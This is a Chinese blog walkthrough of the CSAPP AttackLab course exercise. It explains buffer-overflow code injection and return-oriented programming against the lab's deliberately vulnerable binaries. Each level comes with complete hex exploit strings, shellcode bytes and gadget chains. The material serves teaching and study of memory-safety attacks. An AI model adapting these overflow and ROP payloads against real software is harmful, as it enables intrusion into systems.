CSAPP 之 AttackLab 详解
前言
本篇博客将会介绍 CSAPP 之 AttackLab 的攻击过程,利用缓冲区溢出错误进行代码注入攻击和 ROP 攻击。实验提供了以下几个文件,其中 ctarget
可执行文件用来进行代码注入攻击,rtartget
用来进行 ROP 攻击。
每种攻击都有等级之分,如下表所示。
阶段 | 程序 | 等级 | 攻击方法 | 函数 | 分值 |
---|---|---|---|---|---|
1 | ctarget | 1 | CI | touch1 | 10 |
2 | ctarget | 2 | CI | touch2 | 25 |
3 | ctarget | 3 | CI | touch3 | 25 |
4 | rtarget | 2 | ROP | touch2 | 35 |
5 | rtarget | 3 | ROP | touch3 | 5 |
代码注入攻击
Level 1
在 ctarget
中,test
函数内部调用了 getbuf
函数,代码如下所示:
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
其中 getbuf
函数会分配缓冲区大小,并调用 Gets
函数读取用户输入的字符串:
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
此处 BUFFER_SIZE
需要从汇编代码中获取。level 1 要求攻击者输入一段足够长的字符串,覆盖 test
栈帧中保存的返回地址,使得从 getbuf
返回之后不是继续执行 test
函数的最后一行,而是从 touch1
的第一行开始执行,touch1
的代码如下所示:
void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
为了确定字符串的长度和内容,需要分析一下 ctarget
的汇编代码,objdump -d ctarget > ctarget.asm
可以将 ctarget
的汇编代码写入文件。其中 torch1
的代码如下所示:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
由此可知,攻击者需要将返回地址修改为 0x4017c0
才能完成 level 1。而 getbuf
的代码如下所示:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可以看到,栈指针减小了 0x28 也就是 40,说明缓冲区的大小为 40 个字节。一旦字符串的长度(包括结束符)大于 40,就会覆盖返回地址。字符串的前 40 个字符任意,第 41、42 和 43 个字符的十六进制值必须是 C0
、17
和 40
,才能将返回地址修改为 0x4017c0
。修改前后的栈如下图所示:
由于 C0
和 17
对应的字符打不出来,所以创建一个文件 exploit.txt
,在里面写入 40 个 30
(30 之间要有空格隔开)加上 c0 17 40 00
,这里加上 00
是必须的(作为结束符),之后使用 hex2raw
将 exploit.txt
中的十六进制数转为字符串并作为 ctarget
的输入,结果如下图所示:
可以看到程序确实跳转到了 touch1
函数,攻击成功( ̄︶ ̄) 。
level 2
level 2 要求跳转到 touch2
函数,且执行 if 分支,touch2
的代码如下所示:
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
也就是说需要在跳转到 touch2
之前使用注入的指令,将 %rdi
的值修改为 cookie
(本次实验的 cookie
为 0x59b997fa
)。要想让输入的指令生效,需要将 getbuf
的返回地址修改为 buf
的起始地址,这样执行 ret
之后会将 M[%rsp]
送到 %rip
中,下次就不会从 Text 区取指令了,而是从 stack 里面取指令(此处就是缓冲区)。原理如下图所示:
上图中的 B
代表缓冲区的起始地址,使用 GDB 可以拿到这个地址为 0x5561dc78
:
为了实现 %rdi
的修改和 touch2
的跳转,可以使用如下的汇编代码实现(文件命名为 touch2.s
),ret
指令可以将 M[%rsp]
的值(此处为 touch2
的地址 0x4017ec
)送到 %rip
,使得程序回到 Text 区的 touch2
函数处执行:
mov $0x59b997fa, %edi
ret
使用 gcc -c touch2.s
得到目标文件 touch2.o
,再用 objdump -d touch2.o > touch2.asm
进行反汇编,得到包含二进制编码的汇编代码:
touch2_.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: c3 retq
有了二进制机器指令之后,就可以得到用于攻击的字符串的十六进制值了,中间的一大串 30 用来占位:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
ec 17 40 00 /* touch2 的起始地址 */
程序的执行效果如下:
发现这里虽然成功设置了 %rdi
的值为 cookie
,也跳转到了 touch2
,最终却由于 segment fault
而失败。出现这个错误的原因,是因为我们修改了 12 个字节的栈帧的内容:第一次将 8 个字节的返回地址修改为 buf
起始地址,第二次应该是修改了 launch
(调用了 test
)栈帧中保存的返回地址。为了解决这个问题,我们将汇编指令修改为:
mov $0x59b997fa, %edi
pushq $0x4017ec
ret
使用 pushq
指令将 touch2
的堆栈压入栈中,一样能实现跳转功能。这样就需要把字符串的十六进制值修改为:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
程序执行效果如下,这次攻击成功了( ̄︶ ̄) :
Level 3
level 3 要求跳转到 touch3
函数,并且执行 if 分支,代码如下所示:
void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
可以看到 touch3
会使用 hexmatch
函数进行字符串匹配,此处 cookie
为 0x59b997fa
,sval
是攻击者注入的 cookie
的起始地址。hexmatch
函数将 cookie
从数字转换成了字符串 59b997fa
,也就是我们输入的 cookie
就应该是 59b997fa
,对应的十六进制为 35 39 62 39 39 37 66 61
。
由于 touch3
开头就使用了 push %rbx
,将 %rbx
的值写入了栈中,接着使用 callq
调用了 hexmatch
函数,这个操作也会把 0x401916
返回地址写入 touch3
的栈帧中。在 hexmatch
的开头,连续使用了三条 push
指令,修改了栈的内容。以上的几个操作会改变 buf
缓冲区的内容,%rsp
的变化过程如下图所示:
为了避免输入的 cookie
被覆盖掉,可以将其放在输入字符串的最后,对应的内存地址为 0x5561dc78 + 48d = 0x5561dca8
,其余部分和 level 2 相似,如下所示:
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 起始地址 */
35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
攻击效果如下,pass 说明攻击成功了 ヾ(≧▽≦*)o
ROP 攻击
代码注入攻击要求能够确定缓冲区的起始地址和缓冲区中注入的代码能够被执行,如果引入栈随机化技术并限制可执行代码区域为 Text 区,代码注入攻击就不好使了,因为我们注入的代码压根就不会被执行。
虽然我们注入的代码不能被执行,但是 Text 区的代码还是可以被执行的。如果能把这些代码组合在一起,实现我们想要的功能,那么也能实现攻击目的。这时候缓冲区保存的就不是指令了,而是一条条 Text 区可以被执行的指令的地址,同时这些指令有个特点,就是后面会跟着 ret
指令,这样才能根据缓冲区中保存的指令地址接着取指。上述的攻击方式就被称为 ROP 攻击。
Level 2
Level 2 要求使用 ROP
攻击跳转到 touch2
函数并执行 if 分支,并给出了下列要求:
- 只能使用包含
movq
、popq
、ret
和nop
的 gadget - 只能操作
%rax
到%rdi
这前八个寄存器 - 只能使用
start_farm
到mid_farm
区间内的代码来构造 gadget
并且友情提示了只要两条 gadget 就能实现攻击。我们在代码注入攻击 level 2 中注入了 mov $0x59b997fa, %edi
指令来实现 %rdi
的赋值,但是 start_farm
到 mid_farm
区间内的代码没有包含 0x59b997fa
立即数,所以这个立即数应该由攻击者输入,存在栈中。接着我们可以使用下述指令实现 %rdi
的赋值:
popq %rax
movq %rax, %rdi
其中 popq %rax
对应的机器码为 58
,movq %rax, %rdi
对应的机器码为 48 89 c7
。在 start_farm
中搜索包含这个机器码,结果如下图所示。
可以看到 addval_219
和 getval_280
中的 58
后面接的不是 90
(对应 nop
指令)就是 c3
(对应 ret
指令),可以用于构造 gadget,地址为 0x4019ab
或者 0x4019cc
。而 addval_273
和 setvak_426
中的 48 89 c7
也满足条件,地址为 0x4019a2
或者 0x4019c5
。
根据上述分析,可以得到字符串的十六进制为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie: 0x59b997fa */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 地址 */
栈的内容如下图所示:
攻击效果如下,成功 PASS q(≧▽≦q)
Level 3
Level 3 同样要求使用 ROP 攻击跳转到 touch3
并执行 if 分支,本次传递给 %rdi
的是 cookie
字符串的地址,受到栈随机化的影响,缓冲区的起始地址一直在变化,所以不能将 cookie
字符串的地址直接写入缓冲区。但是 %rsp
里面存储了地址,如果我们给这个地址加上一个偏差量,就能得到 cookie
字符串的地址了。
实现上述想法最直白的汇编代码如下所示:
movq $rsp, %rdi
popq %rsi
callq 0x401d6<add_xy>
movq %rax, %rdi
可惜不是每一条指令的机器码都能在 start_farm
到 end_farm
之间找到并构造出 gadget,所以需要稍微绕点远路,结果如下:
movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
callq 0x4019d6<add_xy>
movq $rsp, %rdi
根据上述汇编代码的机器码地址可以得到输入字符串的十六进制为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
06 1a 40 00 00 00 00 00 /* addval_190: movq %rsp, %rax */
a2 19 40 00 00 00 00 00 /* addval_273: movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
48 00 00 00 00 00 00 00 /* 偏移地址 */
dd 19 40 00 00 00 00 00 /* getval_481: movl %eax, %edx */
69 1a 40 00 00 00 00 00 /* getval_311: movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* addval_436: movl %ecx, %six */
d6 19 40 00 00 00 00 00 /* <add_xy> */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 地址 */
35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
最终也通过测试了 []( ̄▽ ̄)*:
总结
通过这次实验,可以加深对缓冲区溢出安全问题的理解,掌握代码注入攻击和 ROP 攻击的原理,同时对 x86-64 指令的编码方式以及取指有了更好的认识,以上~~
CSAPP 之 AttackLab 详解的更多相关文章
- CSAPP 之 BombLab 详解
前言 本篇博客将会展示 CSAPP 之 BombLab 的拆弹过程,粉碎 Dr.Evil 的邪恶阴谋.Dr.Evil 的替身,杀手皇后,总共设置了 6 个炸弹,每个炸弹对应一串字符串,如果字符串错误, ...
- CSAPP 之 DataLab 详解
前言 本篇博客将会剖析 CSAPP - DataLab 各个习题的解题过程,加深对 int.unsigned.float 这几种数据类型的计算机表示方式的理解. DataLab 中包含下表所示的 12 ...
- CSAPP 之 CacheLab 详解
前言 本篇博客将会介绍 CSAPP 之 CacheLab 的解题过程,分为 Part A 和 Part B 两个部分,其中 Part A 要求使用代码模拟一个高速缓存存储器,Part B 要求优化矩阵 ...
- CSAPP 之 ShellLab 详解
前言 本篇博客将会详细介绍 CSAPP 之 ShellLab 的完成过程,实现一个简易(lou)的 shell.tsh 拥有以下功能: 可以执行外部程序 支持四个内建命令,名称和功能为: quit:退 ...
- 《TCP/IP 详解 卷1:协议》第 10 章:用户数据报协议
引言 UDP 稍微扩展了IP协议,使得包可以在进程间传送,而不仅仅是在主机件.--<CSAPP> IP 数据报是指 IP 层端到端的传输单元.分组(packet)是 IP 层和链路层的传输 ...
- Linq之旅:Linq入门详解(Linq to Objects)
示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...
- 架构设计:远程调用服务架构设计及zookeeper技术详解(下篇)
一.下篇开头的废话 终于开写下篇了,这也是我写远程调用框架的第三篇文章,前两篇都被博客园作为[编辑推荐]的文章,很兴奋哦,嘿嘿~~~~,本人是个很臭美的人,一定得要截图为证: 今天是2014年的第一天 ...
- EntityFramework Core 1.1 Add、Attach、Update、Remove方法如何高效使用详解
前言 我比较喜欢安静,大概和我喜欢研究和琢磨技术原因相关吧,刚好到了元旦节,这几天可以好好学习下EF Core,同时在项目当中用到EF Core,借此机会给予比较深入的理解,这里我们只讲解和EF 6. ...
- Java 字符串格式化详解
Java 字符串格式化详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 文中如有纰漏,欢迎大家留言指出. 在 Java 的 String 类中,可以使用 format() 方法 ...
随机推荐
- 文件缓存tmpfs + 数据缓存SSDB(一)
一.文件缓存tmpfs 1.特性 1) 基于内存的文件系统,RAW+SWAP,虚拟内存 2) tmpfs使用虚拟内存,/dev/shm/使用共享内存 3) 访问速度快,可以动态调整大小 4) 没有持久 ...
- Java_lambda表达式之"stream流学习,Map学习,collect学习,Conllectors工具类学习"
Lambda表达式学习 对List<Integer> userIdList = UserList.stream().map(User::getUserId).collect(Collect ...
- C++ | 程序编译连接原理
文章目录 预编译(生成*.i文件) 编译(生成*.s文件) 汇编(生成*.o文件,也叫目标文件) 链接(生成*.exe文件,也叫可执行文件) 汇编--目标文件 查看文件头 查看符号表 查看 .o 文件 ...
- EDM响应式邮件框架:MJML
概述 新课题研究:响应式邮件框架MJML(MJML官网:https://mjml.io/)姐妹篇: EDM响应式邮件框架:Formerly Ink 介绍 MJML是一种标记语言,设计用于轻松实现一个响 ...
- Vue2.0一个login跳转实例
需要解决的问题:store存储登录状态Vue-Router导航钩子拦截路由Vue-Resource获取后台的数据需要判断登录返回的user源码参考原文地址 主要技术栈:Vuex + Vue-Resou ...
- React 可视化开发工具 Shadow Widget 非正经入门(之五:指令式界面设计)
本系列博文从 Shadow Widget 作者的视角,解释该框架的设计要点.本篇解释 Shadow Widget 中类 Vue 的控制指令,与指令式界面设计相关. 1. 指令式界面设计 Vue 与 A ...
- java中异常(Exception)的定义,意义和用法。举例
1.异常(Exception)的定义,意义和用法 我们先给出一个例子,看看异常有什么用? 例:1.1- public class Test { public static void main(S ...
- js判断输入数字是否是整数,金额、数字
function isIntNum(strNum){//js判断输入数字是否是整数 仅供学习思想 var strCheckNum = strNum+""; if(strCheckN ...
- 小程序checkbox调整大小(checkbox样式修改)
.skyCheckbox{ transform: scale(0.7,0.7); -webkit-transform: scale(0.7,0.7); } <label class=" ...
- 将对象push到数组中组成对象数组
let items = { key:'', value:'' } for(let i = 0;i<len;i++){ items.value = _this.ills[i].sName; ite ...